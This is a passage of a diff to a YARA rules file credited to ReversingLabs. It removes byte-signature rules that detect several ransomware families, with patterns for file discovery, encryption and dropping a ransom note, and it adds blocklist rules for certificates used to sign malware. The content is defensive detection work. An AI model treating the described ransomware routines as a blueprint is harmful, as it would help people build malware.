8B FF 68 ?? ?? ?? ?? 8D 8C 24 - ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 54 24 ?? - 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 6A ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 D2 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? - 8D 44 24 ?? 50 8D 4C 24 ?? 51 52 52 52 52 52 52 66 89 54 24 ?? 8D 94 24 ?? ?? ?? ?? - 52 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 6A ?? FF D7 83 C6 ?? - FF 4C 24 ?? 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D 49 ?? - 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 C6 84 24 ?? ?? ?? ?? ?? E8 - } - $find_MS_xchange_backups_p2 = { - 83 C4 ?? 56 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 6A - ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 C9 8D 54 24 ?? 52 89 44 24 - ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 51 51 51 51 51 51 66 89 4C 24 - ?? 8D 8C 24 ?? ?? ?? ?? 51 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF - D3 6A ?? FF D7 83 C6 ?? FF 4C 24 ?? 0F 85 ?? ?? ?? ?? 33 D2 68 ?? ?? ?? ?? 52 8D 84 - 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 B1 ?? EB ?? 8D 49 ?? - 30 88 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? - 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? - ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? - ?? ?? 83 C4 ?? 33 C0 8D 4C 24 ?? 51 8D 54 24 ?? 52 50 50 50 50 50 50 89 44 24 ?? 89 - 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $find_MS_xchange_backups_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:e6:1b:03:66:d9:40:89:64:30:bc:fe:3e:93:ba:ac:5b" or pe.signatures [ i ] . serial == "e6:1b:03:66:d9:40:89:64:30:bc:fe:3e:93:ba:ac:5b" ) and 1528156800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Farattack : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6294B8Acc35Dea7D32A95Ac5D4536F8F : INFO FILE { meta: - description = "Yara rule that detects FarAttack ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7ee7121a-4ca2-513c-96dc-53b5c48d719f" - date = "2022-06-21" - modified = "2022-06-21" + id = "bc380123-20fc-55de-ad1c-4f13ac173cc9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FarAttack.yara#L1-L93" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15078-L15094" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "af22b8110c2b545f083b443c7a1fa7e7639324e9188eefadfe1fe70ebb1bb7fb" + logic_hash = "ac92ff8e533121071a620ca5280ae66629576f9c4af9831ddac5bb487e4348af" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "FarAttack" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? - ?? ?? ?? 59 6A ?? 58 E9 ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 03 C7 89 - 45 ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? F7 06 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4E ?? - 51 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 06 ?? 74 ?? 8B 45 ?? 8D 04 45 ?? ?? ?? ?? 50 8D 46 ?? - 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 8B 53 ?? - 8B 75 ?? 8B 01 53 89 44 72 ?? 66 8B 41 ?? 8B CE 66 89 44 4A ?? FF 43 ?? 83 63 ?? ?? - E8 ?? ?? ?? ?? FF 4B ?? 83 63 ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 83 7B ?? ?? 75 ?? FF 73 - ?? FF 73 ?? FF 73 ?? FF 73 ?? 57 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C7 43 - ?? ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D - 04 45 ?? ?? ?? ?? 50 8D 46 ?? 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 7E ?? ?? 75 ?? 83 7E ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 8B 45 ?? 8D 34 00 - 8D 4E ?? 51 E8 ?? ?? ?? ?? 56 89 07 FF 73 ?? 50 E8 ?? ?? ?? ?? 8B 07 33 C9 83 C4 ?? - 66 89 0C 06 8B 75 ?? 51 57 51 8B 46 ?? 89 47 ?? 8B 46 ?? 89 47 ?? 8B 45 ?? 89 47 ?? - FF 73 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 4B ?? A1 ?? ?? ?? ?? 89 44 79 ?? 66 A1 ?? ?? - ?? ?? 66 89 44 79 ?? 56 FF 75 ?? FF 15 - } - $create_key = { - 55 8B EC 56 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 32 C0 EB ?? A1 ?? ?? ?? ?? 53 - 33 DB 85 C0 74 ?? 53 6A ?? 53 53 56 FF D0 EB ?? 8A C3 84 C0 75 ?? FF 15 ?? ?? ?? ?? - 3D ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 53 53 56 FF D0 8A D8 84 - DB 75 ?? 56 E8 ?? ?? ?? ?? 59 32 C0 EB ?? 8B 4D ?? B0 ?? 89 71 ?? 5B 5E 5D C3 - } - $encrypt_files_p1 = { - 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 - FF ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 48 ?? 8B 40 - ?? 83 C1 ?? 03 C1 8B 5D ?? 89 5D ?? 8B 4D ?? 89 4D ?? 99 03 D8 89 5D ?? 13 CA 89 4D - ?? 8B 55 ?? 8B 45 ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? - ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? ?? C7 45 ?? ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 59 89 4D ?? 51 - 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 4D ?? 6A ?? 53 51 6A ?? 6A ?? 57 FF 15 ?? - ?? ?? ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? - ?? ?? 89 45 ?? 89 45 ?? 33 C9 8B C1 89 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? 89 45 ?? 89 - 45 ?? 89 4D ?? 8B 4D ?? FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 - FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 85 C0 - } - $encrypt_files_p2 = { - 75 ?? 89 55 ?? 21 45 ?? 8B CE 89 4D ?? 89 4D ?? EB ?? 8B 4D ?? 3B 4D ?? 0F 8D ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 85 C9 74 ?? 83 7D ?? ?? 74 ?? 8D 41 ?? 3B 45 ?? 74 ?? - 8B C1 99 FF 75 ?? FF 75 ?? 52 50 E8 ?? ?? ?? ?? 8B C8 89 45 ?? C7 45 ?? ?? ?? ?? ?? - EB ?? 8B CA 81 E9 ?? ?? ?? ?? 89 4D ?? 8B 55 ?? 83 DA ?? 83 65 ?? ?? 89 55 ?? 6A ?? - 8B 45 ?? FF 70 ?? 52 51 E8 ?? ?? ?? ?? 6A ?? 8B 4D ?? FF 71 ?? 52 50 E8 ?? ?? ?? ?? - 8B C8 89 4D ?? 89 55 ?? 8B 45 ?? 2B C1 89 45 ?? 8B 4D ?? 1B CA 89 45 ?? 89 4D ?? EB - ?? 8B 55 ?? 8B C2 C1 F8 ?? FF 75 ?? FF 75 ?? 52 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? - 89 45 ?? 85 C0 75 ?? 50 FF 75 ?? FF 75 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? - ?? ?? 8B 75 ?? 8B 7D ?? 83 4D ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 - ?? E8 ?? ?? ?? ?? C3 03 45 ?? 56 6A ?? 8D 4D ?? 51 50 FF 75 ?? 50 6A ?? 6A ?? 8D 85 - ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 45 ?? 40 - 89 45 ?? 3B 45 ?? 75 ?? 8B 75 ?? FF 76 ?? FF 76 ?? 8B 45 ?? 03 45 ?? 03 45 ?? 50 E8 - ?? ?? ?? ?? FF 76 ?? FF 76 ?? 8B 46 ?? 03 45 ?? 03 45 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 7E ?? 03 7E ?? 03 7D ?? 03 7D ?? 8B 45 ?? 03 F8 8D 75 ?? A5 A5 A5 A5 6A - ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 F6 46 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 4D - ?? 8B 55 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 8B 35 ?? ?? ?? ?? FF D6 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $create_key ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x87\\x8D\\xE5\\xBA\\x86\\xE6\\x8E\\xA2\\xE9\\x95\\xBF\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "62:94:b8:ac:c3:5d:ea:7d:32:a9:5a:c5:d4:53:6f:8f" and 1517443200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Hermeticransom : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_485E4626C32493C16283Cfd9E30D17Ad : INFO FILE { meta: - description = "Yara rule that detects HermeticRansom ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6aaf89f4-0cf8-5f0e-b89d-01ac7edd06c0" - date = "2022-05-13" - modified = "2022-05-13" + id = "7e6834e5-ce32-5ba6-82cf-99d7b90fb4f0" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.HermeticRansom.yara#L1-L105" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15096-L15112" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "123d569a9d9b9d855b3baafd6194f102d82a594fd7a2bba073843a8654a317cb" + logic_hash = "faf860786e8473493d24abf6e61cf0b906e98d786516be6d2098181368214020" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HermeticRansom" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $drop_ransom_note = { - 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 3B 41 ?? - 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 0F 10 04 24 0F 11 44 24 ?? 0F 10 44 24 ?? 0F 11 44 24 ?? 0F 10 44 - 24 ?? 0F 11 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D BC 24 ?? ?? ?? - ?? 48 8D 35 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 - 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? - ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 - 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ?? - ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 14 24 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 14 24 48 89 4C 24 ?? 48 89 - 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 - ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0C 24 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C - 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? - ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 - } - $encrypt_files_p1 = { - E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? - ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 89 14 24 - 48 89 74 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? - ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 54 24 ?? E8 - ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 - 85 DB 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D - 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 24 ?? 48 89 C1 48 C1 F8 ?? 48 - C1 E8 ?? 48 01 C8 48 C1 F8 ?? 48 89 84 24 ?? ?? ?? ?? 48 C1 E0 ?? 48 29 C1 48 89 4C - 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 04 24 0F 57 C0 0F - 11 44 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? B8 ?? ?? ?? ?? - 48 89 84 24 ?? ?? ?? ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? - 48 39 C1 0F 8D ?? ?? ?? ?? 48 89 CA 48 C1 E1 ?? 48 FF C2 48 89 D3 48 C1 E2 ?? 48 39 - D1 0F 87 ?? ?? ?? ?? 48 8B 74 24 ?? 48 39 F2 0F 87 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? - ?? 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 89 3C 24 48 89 - } - $encrypt_files_p2 = { - 5C 24 ?? 48 89 44 24 ?? 48 29 CE 48 89 F3 48 F7 DE 48 C1 FE ?? 48 21 CE 48 8B BC 24 - ?? ?? ?? ?? 48 01 FE 48 89 74 24 ?? 48 29 CA 48 89 54 24 ?? 48 89 5C 24 ?? E8 ?? ?? - ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 0F 85 ?? - ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 - 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 F8 ?? 0F 8D ?? ?? ?? ?? 48 C1 E0 ?? 48 8B - 4C 24 ?? 48 39 C8 0F 87 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B - 35 ?? ?? ?? ?? 48 89 14 24 48 89 5C 24 ?? 48 89 74 24 ?? 48 8B 54 24 ?? 48 29 C2 48 - 89 D3 48 F7 DA 48 C1 FA ?? 48 21 C2 48 8B B4 24 ?? ?? ?? ?? 48 01 F2 48 89 54 24 ?? - 48 29 C1 48 89 4C 24 ?? 48 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? - 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? - ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 - 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 - ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 - } - $find_files = { - 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 - EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? - 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 - 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 54 - 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 94 - 24 ?? ?? ?? ?? 48 89 14 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48 - 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 85 C9 75 - ?? 48 89 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 74 ?? 48 8B 44 - 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? - C3 48 8B 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? - 48 83 C4 ?? C3 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 - 83 C4 ?? C3 48 8B 44 24 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "48:5e:46:26:c3:24:93:c1:62:83:cf:d9:e3:0d:17:ad" and 1473292800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_D0312F9177Cd46B943Df3Ef22Db4608B : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "b36ba3c9-4a64-505a-ae27-ec8ee969dc29" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15114-L15132" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "2eb955e91c927980cee031c6284e48bad315e891c32cdaf41b844090e841c44d" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "United Systems Technology, Inc." and ( pe.signatures [ i ] . serial == "00:d0:31:2f:91:77:cd:46:b9:43:df:3e:f2:2d:b4:60:8b" or pe.signatures [ i ] . serial == "d0:31:2f:91:77:cd:46:b9:43:df:3e:f2:2d:b4:60:8b" ) and 1341273600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Solaso : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_202702 : INFO FILE { meta: - description = "Yara rule that detects Solaso ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "53f56ad8-ccdf-58f0-a5d9-e58f2c18ac76" - date = "2021-11-02" - modified = "2021-11-02" + id = "befb8867-37d6-5b0a-9801-c069b92f8edc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Solaso.yara#L1-L171" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15134-L15150" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "368a80a9f2e264d17c61d6ed4c22baec838ba0b0bc2e5c79344830bf861aa5a2" + logic_hash = "bc097e97c1c4c4a71cbf66be811636fecfa23682cb2cc47ab1fcd680a646fb14" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Solaso" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - C6 85 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 4C 89 AD ?? ?? ?? ?? 48 8D 85 - ?? ?? ?? ?? 48 89 45 ?? B1 ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D - 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B BD - ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? 49 3B FF 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8D - 95 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 